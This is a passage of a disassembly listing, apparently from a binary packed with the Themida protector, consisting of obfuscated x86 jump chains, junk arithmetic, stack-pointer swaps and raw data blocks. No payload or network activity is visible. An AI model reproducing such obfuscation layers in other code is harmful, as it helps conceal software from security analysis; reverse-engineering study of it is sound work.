		dd 0E92434FFh, 0FFFFE7BBh, 5C78166h, 0F7296626h, 5EF8166h
		dd 0D408E926h, 0F021FFFFh, 5319355Eh, 0B80D71BFh, 2D1EC23Fh
		dd 3FD67FB9h, 8158C701h, 2C7h, 0D5D6E900h, 0C181FFFFh
		dd 2D4C5FFBh, 8102E1C1h, 570E40E9h, 59CB898Dh, 4245C01h
		dd 83241C8Bh, 2D5804C4h, 27E035CCh, 4AF68h, 241C8900h
		dd 8904EC83h, 5C682404h, 0E954530Bh, 2B4Eh
; ---------------------------------------------------------------------------


loc_55B8CC:				; CODE XREF: Themida_:0055DD2Cj
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		push	edx
		mov	edx, 15322C4Ah
		push	ecx
		mov	ecx, 1F5341C7h
		or	ecx, 5FCD7DC3h
		jmp	loc_556277
; ---------------------------------------------------------------------------
		dw 0BDBDh
		dd 56736045h, 0FFFFFFBEh, 222AE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B8FE:				; CODE XREF: Themida_:00555AACj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5560B0
; ---------------------------------------------------------------------------


loc_55B907:				; CODE XREF: Themida_:00558E63j
		add	edi, 30D950A1h
		jmp	loc_55D27D
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFA699h
dword_55B918	dd 9D1C77FFh, 1CD25966h, 0F8E99C24h, 0BAFFFF7Bh, 5FC74E45h
					; DATA XREF: Themida_:00553328o
		dd 38E9D531h, 8BFFFFA7h, 8FE92434h, 5CFFFF95h, 8B243487h
		dd 0E9562424h, 0FFFFA7D1h, 1A6D1BBFh, 0DF45E90Ch
		db 2 dup(0FFh)
word_55B952	dw 31ADh		; DATA XREF: Themida_:00553464o
		dd 4EC83D8h, 56240C89h,	0E63508BEh, 0E6C68126h,	81055251h
		dd 725429EEh, 0CE814603h, 2D325CF1h, 1A2DF681h,	0F1894B06h
		dd 5384055Eh, 0D8E93AECh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B987:				; CODE XREF: Themida_:0055F3AEj
		not	edi
		xchg	edi, ecx
		jmp	loc_554CCF
; ---------------------------------------------------------------------------
		dd 0FFE8015Fh, 2C8B2434h, 4C48324h, 0FF2E9h, 1427BF00h
		dd 814F2EBDh, 0AD0B99F7h, 51C78145h, 29E6D74Fh,	0B8505FFBh
		dd 3C6768B7h, 75053540h, 0A2E9607Dh
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9C7:				; CODE XREF: Themida_:00554B07j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	1482h
		mov	[esp], edx
		push	ecx
		mov	ecx, 334B5138h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0C412C5Ch
		xor	edx, 1FF675CEh
		xor	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_55A2FA
; ---------------------------------------------------------------------------
		dd 0F380CBFEh, 0A0B0507Ch, 0B42AE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA0A:				; CODE XREF: Themida_:0055AC2Aj
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_55F804
; ---------------------------------------------------------------------------


loc_55BA20:				; CODE XREF: Themida_:0055EC38j
		pop	esi
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55F06D
; ---------------------------------------------------------------------------
		db 30h,	0D9h, 66h
		dd 83241C8Bh, 0C83002C4h, 83240C8Bh, 0C33004C4h, 66C0B60Fh
		dd 666AA268h, 0E9240489h, 0FFFF7AC7h
dword_55BA58	dd 4EC83ACh, 0B3241C89h, 0A2B15114h, 48E9D9F6h
					; DATA XREF: Themida_:005533ECo
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA6B:				; CODE XREF: Themida_:0055F93Bj
		add	esi, eax
		jmp	loc_55AC2F
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 4EC815Dh, 89000000h,	74FF2404h, 8F580424h, 0FEE92404h
		dd 87000034h, 815C240Ch, 0B5AE6C3h, 0C7C3810Dh,	293BC168h
		dd 0C7EB81C3h, 833BC168h, 2C8904ECh, 0CA8E924h,	0C2810000h
		dd 4, 3AF868h, 0F5B8E900h, 0D828FFFFh, 0FF809CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BAC5:				; CODE XREF: Themida_:005575D4j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_559A39
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 54757657h
		mov	esi, 0F22DAF24h
		add	esi, ebx
		pop	ebx
		push	ebx
		push	ebp
		jmp	loc_555AF4
; ---------------------------------------------------------------------------
word_55BAEA	dw 8B66h		; DATA XREF: Themida_:0055348Co
		dd 0BDE9240Ch, 5AFFFF8Ch, 0FFB131E9h, 0CD7C05FFh, 0C7895A8Ch
		dd 2CB3E9h, 0FFC38300h,	5ADFC381h, 0F3811F29h, 84EC844Dh
		dd 6AE9D989h, 49FFFFDCh, 0C108E1C1h, 0C18104E9h, 6DB7ED61h
		dd 0C2E9CF89h, 9FFFF9Ch, 0E2815DEAh, 5F467C7Fh,	8904EC83h
		dd 83BF243Ch, 94AA31Bh,	0EA815FFAh, 5EE37BCFh, 5A1C5709h
		dd 0FF79CAE9h, 81E289FFh, 4C2h,	4EA8100h, 0E9000000h, 40D0h
		dd 66D82966h, 81241C8Bh, 2C4h, 2EC8300h, 243C8966h, 0FFB663E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB81:				; CODE XREF: Themida_:0055C1A4j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dd 7BD5550h, 81315F13h,	0FD04246Ch, 0E9264071h,	0FFFFBFA8h
; ---------------------------------------------------------------------------


loc_55BBA4:				; CODE XREF: Themida_:0055B2E5j
		mov	[esp], ebx
		jmp	loc_55527A
; ---------------------------------------------------------------------------
dword_55BBAC	dd 0E924248Bh, 0FFFF796Bh, 162EE951h, 89530000h, 2BBD55E3h
					; DATA XREF: Themida_:00553484o
		dd 4575B20Ah, 744EED81h, 0CD815F76h, 13E038DBh,	373FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BBD5:				; CODE XREF: Themida_:00558773j
		pop	esp
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 2FCF11FBh
		inc	edi
		dec	edi
		or	edi, 62F9548Dh
		shl	edi, 7
		jmp	loc_556ACE
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 2Ch
		dd 4C48324h, 7EA815Ah, 0E9315F13h, 0FFFF7917h, 0B1515866h
		dd 0B247E903h
		db 2 dup(0FFh)
word_55BC12	dw 77FFh		; DATA XREF: Themida_:00553268o
		dd 58669D1Ch, 24041966h, 78FDE99Ch, 5C01FFFFh, 1C8B0424h
		dd 0A59E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC2E:				; CODE XREF: Themida_:0055F811j
		add	esp, 4
		push	0A03h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55C52B
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2414F756h, 0E924348Bh, 0FFFFD054h
; ---------------------------------------------------------------------------


loc_55BC60:				; CODE XREF: Themida_:005589BCj
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_553E14
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 46E211F7h, 2A058C2Dh, 5753566Eh, 423A06BFh, 90F7813Bh
		dd 817B240Dh, 0C67B8E7h, 95EF8125h, 470BBC46h, 0F4C7814Fh
		dd 89891160h, 0D3F75FFBh, 0AF98F381h, 0DE89EF7Fh, 0F0E6815Bh
		dd 816F274Ch, 0C7213DF6h, 0E9F00174h, 200Bh, 7942D5B9h
		dd 8BCA0104h, 0C481240Ch, 4, 7CFDC281h,	0EA812E8Ah, 3DA46439h
		dd 0FFAAB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BCE9:				; CODE XREF: Themida_:00555B93j
		add	esp, 4
		push	ebp
		push	75DA04F6h
		pop	ebp
		jmp	loc_55B4EA
; ---------------------------------------------------------------------------


loc_55BCFB:				; CODE XREF: Themida_:005594D1j
		mov	edi, esp
		push	eax
		jmp	loc_5550C1
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 2130C581h, 24E96573h, 89FFFF94h, 0B3E92424h, 31FFFF92h
		dd 0B7E958C5h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD23:				; CODE XREF: Themida_:00556B6Bj
		mov	edi, 1F346DA8h
		push	ebx
		jmp	loc_55654E
; ---------------------------------------------------------------------------
word_55BD2E	dw 0F766h		; DATA XREF: Themida_:00553290o
		dd 0E99C241Ch, 0FFFF77E7h, 0E950575Ah, 0FFFFCECDh
; ---------------------------------------------------------------------------


loc_55BD40:				; CODE XREF: Themida_:00556D4Aj
		push	esi
		push	eax
		mov	eax, 48741D88h
		jmp	loc_55A7E7
; ---------------------------------------------------------------------------


loc_55BD4C:				; CODE XREF: Themida_:0055667Ej
		sub	dword ptr [esp+8], 418750Eh
		pop	ebx
		jmp	loc_55D99D
; ---------------------------------------------------------------------------
word_55BD5A	dw 8B66h		; DATA XREF: Themida_:00553438o
		dd 54502404h, 3E0EE9h, 4C48100h, 56000000h, 42474FFh, 15FAE95Eh
		dd 0E95F0000h, 0FFFFE8E4h
; ---------------------------------------------------------------------------


loc_55BD7C:				; CODE XREF: Themida_:00558D5Aj
		push	5653h
		mov	[esp], ecx
		mov	ecx, 22B32E63h
		jmp	loc_55F8C0
; ---------------------------------------------------------------------------
		dw 1431h
		dd 0B988E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD96:				; CODE XREF: Themida_:00557304j
		add	esp, 4
		jmp	loc_555640
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 63B85004h, 35098434h, 183171C5h, 15060905h, 7E0C12Eh
		dd 0BD55D8F7h, 1ADA2882h, 15DE831h, 0EEF2E9C7h,	48BFFFFh
		dd 4C48324h, 8704C583h,	685C242Ch, 2DECh, 0FFF31AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BDDD:				; CODE XREF: Themida_:00558A76j
		sub	edx, ebx
		pop	ebx
		xor	edx, 13697E65h
		xor	edx, 6E76FE6Eh
		jmp	loc_558981
; ---------------------------------------------------------------------------


loc_55BDF1:				; CODE XREF: Themida_:0055B661j
		xor	ecx, edx
		pop	edx
		jmp	loc_5585D3
; ---------------------------------------------------------------------------
		db 1, 0EAh, 0E9h
		dd 0FFFFACBAh
; ---------------------------------------------------------------------------


loc_55BE00:				; CODE XREF: Themida_:0055A479j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559238
; ---------------------------------------------------------------------------
		dd 4C481h, 0B9510000h, 2, 3FE9CD01h, 53000020h,	2938685Ah
		dd 14890000h, 24048124h, 2716582Eh, 23D9E9h, 89CD8900h
		dd 1595DEFh, 85B9E9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE42:				; CODE XREF: Themida_:00557469j
		mov	edx, 3D9FAEh
		sub	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55558E
; ---------------------------------------------------------------------------


loc_55BE52:				; CODE XREF: Themida_:0055808Cj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 638F4766h
		add	ecx, 0FFFFFFFFh
		shr	ecx, 4
		push	edi
		push	ecx
		mov	ecx, 30E02BF6h
		jmp	loc_55759B
; ---------------------------------------------------------------------------
		db 1
		dd 0FEEA81EAh, 8B72807Fh, 8956242Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 0E956555Ch,	0FFFFCEAAh, 1931E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE9E:				; CODE XREF: Themida_:0055448Aj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		jmp	loc_55D04C
; ---------------------------------------------------------------------------
		dd 4B8h, 58C30100h, 5C241C87h, 0FFE512E9h, 0DBEF81FFh
		dd 5548AD57h, 1F1DB0BDh, 5DEF017Ah, 1DA3CF81h, 0DFF75F6Bh
		dd 11B1BD55h, 0EDC165F9h, 0C5814505h, 734D7BE6h, 267ED81h
		dd 1EE9D5F9h, 0B9FFFF78h, 4, 2017E9h, 5EF00100h, 562DD801h
		dd 0E96EB04Dh, 0FFFF77F5h, 0C15FF931h, 0B1E902E9h, 87FFFFF2h
		dd 0D35C2434h, 0E99C243Ch, 0FFFF75F7h, 6853515Bh, 575F6D53h
		dd 50241C8Bh, 405E089h,	0E9000000h, 0FFFFF124h,	5446C281h
		dd 0D32102AFh, 14F7535Ah, 0D3F75B24h, 60D1C381h, 0C38172ACh
		dd 89522A11h, 0FFF2C5E9h, 4C483FFh, 405h, 4B95100h, 5000000h
		dd 0B3A65AAh, 0AA2DC801h, 590B3A65h, 0FFAE12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BF81:				; CODE XREF: Themida_:0055F321j
		add	esi, 4
		jmp	loc_5552FD
; ---------------------------------------------------------------------------


loc_55BF8C:				; CODE XREF: Themida_:0055D047j
		mov	ecx, [esp]
		push	ebp
		jmp	loc_559661
; ---------------------------------------------------------------------------
		db 88h,	0E8h, 59h
		dd 0F030CEFEh, 0F030C630h, 0FE06B252h, 80DAF6CAh, 0D02803F2h
		dd 26AAE9h, 0E0895000h,	0FF8C34E9h, 0F0C181FFh,	5D1F501Fh
		dd 0BEF18149h, 0C119142Ch, 0E1C105E1h, 6E9C105h, 0FFAFEDE9h
		dd 24048BFFh, 2F4E9h, 2474FF00h, 2434FF04h, 83241C8Bh
		dd 0C48304C4h, 24048F04h, 0E924248Bh, 3AA9h
; ---------------------------------------------------------------------------


loc_55BFF8:				; CODE XREF: Themida_:005550D2j
		shl	eax, 2
		push	ecx
		mov	ecx, 34AF43EAh
		add	ecx, 0FFFFFFFFh
		jmp	loc_55DB4C
; ---------------------------------------------------------------------------
		dd 8BDE0158h, 0C481241Ch, 4, 31243433h,	34332434h, 24248B24h
		dd 4AB0F66h, 0F0E99C24h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C02F:				; CODE XREF: Themida_:00559918j
		dec	edi
		shr	edi, 7
		jmp	loc_55F660
; ---------------------------------------------------------------------------
		dd 1061E835h, 89B95152h, 31468027h, 0C68959C8h,	21EBE958h
		dd 7BB80000h, 4860BD0Ah, 8A05D8F7h, 0C15B7461h,	5EE904E0h
		dd 51FFFF9Eh, 0B56CB252h, 0E9D52898h, 0FFFFD01Eh
; ---------------------------------------------------------------------------


loc_55C070:				; CODE XREF: Themida_:00553CADj
		push	ecx
		mov	ecx, 446F0D24h
		shr	ecx, 7
		shr	ecx, 3
		xor	ecx, 35BF4C21h
		add	eax, 35FA528Ch
		add	eax, ecx
		sub	eax, 35FA528Ch
		pop	ecx
		sub	eax, edi
		sub	eax, 35AE57E2h
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_55ABD5
; ---------------------------------------------------------------------------


loc_55C0AA:				; CODE XREF: Themida_:0055E785j
		pop	ebx
		shr	ecx, 7
		push	ebp
		push	eax
		mov	eax, 76675625h
		dec	eax
		sub	eax, 8ED678Eh
		add	eax, 0F7D86A41h
		jmp	loc_558D67
; ---------------------------------------------------------------------------


loc_55C0C5:				; CODE XREF: Themida_:0055639Aj
		add	ecx, 183D744Eh
		jmp	loc_554681
; ---------------------------------------------------------------------------


loc_55C0D0:				; CODE XREF: Themida_:00554410j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		pop	dword ptr [edx+38h]
		push	dword ptr [esp]
		mov	esi, [esp]
		push	0DB4h
		jmp	loc_554B1D
; ---------------------------------------------------------------------------


loc_55C0E8:				; CODE XREF: Themida_:0055A734j
		mov	ebx, [esp]
		push	edx
		jmp	loc_5563F4
; ---------------------------------------------------------------------------
byte_55C0F1	db 0ADh, 2Dh, 9Eh	; DATA XREF: Themida_:00553488o
		dd 0E9387149h, 0FFFFECD1h
; ---------------------------------------------------------------------------


loc_55C0FC:				; CODE XREF: Themida_:00556D6Fj
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		push	esi
		jmp	loc_55C9FC
; ---------------------------------------------------------------------------
		dd 2C8BEB21h, 4C48124h,	50000000h, 9E6E29B8h, 58C32103h
		dd 68BBE381h, 0BD556762h, 3023FFCh, 2C8BEB29h, 0EFAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C136:				; CODE XREF: Themida_:0055C804j
		neg	esi
		push	eax
		jmp	loc_55D756
; ---------------------------------------------------------------------------
		dw 432Ch
		dd 0B753D800h, 0D421E923h, 5FBFFFFFh, 0C10F4F7Fh, 0DFF707E7h
		dd 8107EFC1h, 63E1AC7h,	7BC9E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C162:				; CODE XREF: Themida_:00554965j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55BB81
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0C1h
		dd 2D05E8h, 4068907Bh, 46BE5648h, 4E4D7903h, 0F705E6C1h
		dd 0DDC681DEh, 1757D80h, 0DE95EF0h, 1FFFF80h, 14875DEAh
		dd 0BF0F5C24h, 0E452E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1DE:				; CODE XREF: Themida_:00557474j
		push	bx
		mov	bh, 31h
		jmp	loc_556D4F
; ---------------------------------------------------------------------------
		db 31h
		dd 34332434h, 24248B24h, 24048B66h, 35DDE9h, 89535900h
		dd 4C381E3h, 83000000h,	3EE904EBh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C20B:				; CODE XREF: Themida_:00556E54j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, esp
		jmp	loc_5595D4
; ---------------------------------------------------------------------------


loc_55C219:				; CODE XREF: Themida_:00558D6Cj
		neg	ebp
		sub	ebp, 99F46AE2h
		xor	ecx, ebp
		jmp	loc_55C794
; ---------------------------------------------------------------------------
		dd 0BB535D54h, 43271717h, 87F3814Bh, 0E9308D79h, 0FFFFE487h
		dd 56240481h, 5637747Eh, 0AC02BDBEh, 2474291Ch,	0BB535E04h
		dd 0CC6158Dh, 0FFF9C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C259:				; CODE XREF: Themida_:0055EA4Dj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	15A7h
		jmp	loc_555CFF
; ---------------------------------------------------------------------------


loc_55C274:				; CODE XREF: Themida_:00558CAFj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55979D
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0E9C630A0h, 0FFFFF5A4h, 4C481h, 0BF570000h, 44DB763Bh
		dd 55DFF747h, 2489C6BDh, 5DEF31BBh, 0ECE9FD29h
		db 0EDh, 2 dup(0FFh)
byte_55C2A7	db 66h			; DATA XREF: Themida_:00553304o
		dd 68240C8Bh, 4C82h, 89240489h,	8BF57E0h, 552B5140h, 0AA0DB8BDh
		dd 8E5C12Ah, 94A5ED81h,	0EF013E52h, 0FFD901E9h,	76EE68FFh
		dd 4890000h, 5E08924h, 4, 11C4E953h, 0D3890000h, 0E9D3F75Ah
		dd 2F46h, 33241431h, 248B2414h,	24040924h, 721DE99Ch, 348BFFFFh
		dd 0ECD1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C30A:				; CODE XREF: Themida_:00559577j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_555551
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFDF4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C325:				; CODE XREF: Themida_:00555B18j
		xor	edx, 48C14AF0h
		xor	edx, 51EE5BB1h
		jmp	loc_55DE4E
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFE849h
; ---------------------------------------------------------------------------


loc_55C33C:				; CODE XREF: Themida_:0055F9AFj
		mov	edx, 3ED14A34h
		mov	ebx, 0CB43D00Bh
		add	ebx, edx
		pop	edx
		push	esi
		mov	esi, 21EA6207h
		or	ebx, esi
		jmp	loc_55EE87
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0C915E924h, 0EF01FFFFh, 243C875Dh, 1350E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C369:				; CODE XREF: Themida_:0055554Cj
		mov	esp, [esp]
		jmp	loc_55712D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 24h
		dd 89528304h, 3CBB5BD9h, 298EC72Fh, 0D3F759CBh,	659BEB81h
		dd 0E3C10BA7h, 0F7EB8702h, 0E9EB87D5h, 0FFFFF3BDh
; ---------------------------------------------------------------------------


loc_55C398:				; CODE XREF: Themida_:00556963j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55FB8B
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0C9h
		dd 5AFFFF86h, 2404875Dh, 6624248Bh, 66C8AF0Fh, 64E99C51h
		dd 0BAFFFF71h, 277D3AA7h, 0E95AD689h, 0FFFFDF90h
; ---------------------------------------------------------------------------


loc_55C3C8:				; CODE XREF: Themida_:0055DD0Bj
		inc	ebx
		xor	ebx, 0EDC1155h
		xor	ebx, 5D94B254h
		add	edx, ebx
		pop	ebx
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		sub	edx, 0FFFFFFFFh
		add	edx, 0D47611E6h
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_55EC96
; ---------------------------------------------------------------------------
dword_55C3F4	dd 42474FFh, 0FF8156E9h, 593B68FFh, 0C890000h, 1A64E924h
					; DATA XREF: Themida_:0055336Co
		dd 2C870000h, 0EFACE924h, 8B54FFFFh, 0B6E9242Ch, 57FFFFECh
		dd 695248BFh, 1BEF8118h, 81516B1Fh, 6D116FF7h, 46EF8133h
		dd 81823803h, 4B107DC3h, 81FB2947h, 4B107DEBh, 7BE95F47h
		dd 0E9FFFFC2h, 0FFFF70D3h, 0E9240C89h, 16DBh
; ---------------------------------------------------------------------------


loc_55C454:				; CODE XREF: Themida_:005555E1j
		mov	ebp, 743F5127h
		shl	ebp, 3
		jmp	loc_556941
; ---------------------------------------------------------------------------
byte_55C461	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005534A4o
		dd 4EC8159h, 89000000h,	0E189240Ch, 48C2BB53h, 0E9E92534h
		dd 31FFFFC2h, 3C33243Ch, 1D27E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C486:				; CODE XREF: Themida_:005544CCj
		sub	ecx, 0B3CF4481h
		sub	ebx, 27AF0100h
		sub	ebx, ecx
		add	ebx, 27AF0100h
		jmp	loc_5573E2
; ---------------------------------------------------------------------------
byte_55C49F	db 0ADh			; DATA XREF: Themida_:00553270o
		dd 0FF851EE9h, 0F78957FFh, 5E5FFD89h, 1396E9h, 59EF8800h
		dd 4EC8351h, 88241489h,	5AF188FEh, 152E9h, 48B6600h, 8B545524h
		dd 0CAE9242Ch, 0BE000017h, 0A01628Fh, 1E83C681h, 0C6292BCEh
		dd 1E83EE81h, 0F7582BCEh, 50DEF7D6h, 9258C6B8h,	0FFC62973h
		dd 74E92434h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4FB:				; CODE XREF: Themida_:00559192j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_557C53
; ---------------------------------------------------------------------------
aSrUEC		db 'µ™R²“,E,ç',0
		dw 4D0h
		dd 5A4504E7h, 932CE800h, 0FFD726E9h, 0CAE951FFh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C52B:				; CODE XREF: Themida_:0055BC4Ej
		mov	[esp], esi
		push	6F76h
		mov	[esp], ebp
		pop	esi
		pop	ebp
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	151h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_5555E0
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0D0h
		dd 68FFFFD8h, 332Eh, 81242489h,	42404h,	815F0000h, 4C7h
		dd 4EF8300h, 0E9243C87h, 0FFFFAFF8h, 0E42DD0F7h, 1EBEACFh
		dd 0EE8158C6h, 4, 5C243487h, 2689E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C595:				; CODE XREF: Themida_:0055F7D1j
		push	7B39h
		mov	[esp], ebp
		mov	ebp, 5AFB48D9h
		push	ebx
		mov	ebx, ebp
		push	7CF8h
		mov	[esp], ebx
		push	ebx
		mov	ebx, 7A415FCFh
		sub	[esp+4], ebx
		pop	ebx
		pop	edi
		add	edi, 7A415FCFh
		jmp	loc_556F86
; ---------------------------------------------------------------------------
		dd 6BB2F681h, 0F3895000h, 0E517E95Eh, 0DA89FFFFh, 0CDEA815Bh
		dd 81245366h, 0B02ABAEAh, 1A8AE953h, 34FF0000h,	3EE95D24h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C5EF:				; CODE XREF: Themida_:00558589j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55F69F
; ---------------------------------------------------------------------------
		db 0B8h, 0C3h, 33h
		dd 0E0C13905h, 92D9E908h, 1433FFFFh, 2CD35C24h,	5CE99C24h
		dd 53FFFF93h, 0FFCF0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C61D:				; CODE XREF: Themida_:0055F757j
		pop	esi
		jmp	loc_55E040
; ---------------------------------------------------------------------------
		db 52h
		dd 477ABE56h, 0C68175D9h, 76E60775h, 44D7F681h,	0E6C14FFEh
		dd 0E1F68106h, 0E9D753EFh, 811h
dword_55C644	dd 24048B66h, 64A568h, 240C8900h, 19685954h, 89000063h
					; DATA XREF: Themida_:00553240o
		dd 4BA2414h, 0E9000000h, 0FFFF72ADh
; ---------------------------------------------------------------------------


loc_55C664:				; CODE XREF: Themida_:005596F2j
		sub	edi, 0AE30E515h
		sub	ecx, 195A52B4h
		jmp	loc_55A36E
; ---------------------------------------------------------------------------


loc_55C675:				; CODE XREF: Themida_:005535C0j
		add	edi, ecx
		pop	ecx
		jmp	loc_558B61
; ---------------------------------------------------------------------------
		db 5Dh,	29h, 0D3h
		dd 98E9525Ah, 81FFFFF7h, 4ECh, 24048900h, 405E089h, 83000000h
		dd 48704C0h, 24248B24h,	0FF8488E9h, 4EC81FFh, 89000000h
		dd 8FB82404h, 0F71C4032h, 950548D0h, 501C4032h,	7C242C81h
		dd 0E955307Dh, 2325h
; ---------------------------------------------------------------------------


loc_55C6C8:				; CODE XREF: Themida_:00553C19j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55495B
; ---------------------------------------------------------------------------
aAAS_		db 'Àí',7,'€Í',0Bh,'éË.',0
		align 2


loc_55C6DE:				; CODE XREF: Themida_:00556066j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	2C1Eh
		mov	[esp], esi
		mov	esi, 151E6716h
		push	7A89h
		mov	[esp], ebx
		mov	ebx, 191A092Bh
		add	esi, ebx
		jmp	loc_55A1CB
; ---------------------------------------------------------------------------


loc_55C70A:				; CODE XREF: Themida_:00556114j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55E619
; ---------------------------------------------------------------------------


loc_55C714:				; CODE XREF: Themida_:005571D2j
		mov	ebp, [esp]
		jmp	loc_55D778
; ---------------------------------------------------------------------------


loc_55C71C:				; CODE XREF: Themida_:0055A13Aj
		mov	ebp, esi
		jmp	loc_555980
; ---------------------------------------------------------------------------


loc_55C723:				; CODE XREF: Themida_:00558C43j
		sub	esp, 4
		jmp	loc_556DF1
; ---------------------------------------------------------------------------


loc_55C72B:				; CODE XREF: Themida_:00554860j
		shr	ebx, 4
		dec	ebx
		jmp	loc_559D67
; ---------------------------------------------------------------------------
		dd 0C8FED1B0h, 0D2F6D086h, 134D086h, 0C62CD82Ch, 0C328D004h
		dd 8026E958h, 0F731FFFFh, 0B722E95Eh, 94BDFFFFh, 0E97AB20Ah
		dd 0FFFFDEB9h, 4246C81h, 4C0A61B2h, 4245C01h, 4244481h
		dd 4C0A61B2h, 242C8B5Bh, 4C481h, 0B9510000h, 4,	2955E9h
		dd 242C8B00h, 0E904C483h, 0FFFFF0A8h
; ---------------------------------------------------------------------------


loc_55C794:				; CODE XREF: Themida_:0055C223j
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, ecx
		pop	ecx
		jmp	loc_555DA3
; ---------------------------------------------------------------------------
		dw 0C781h
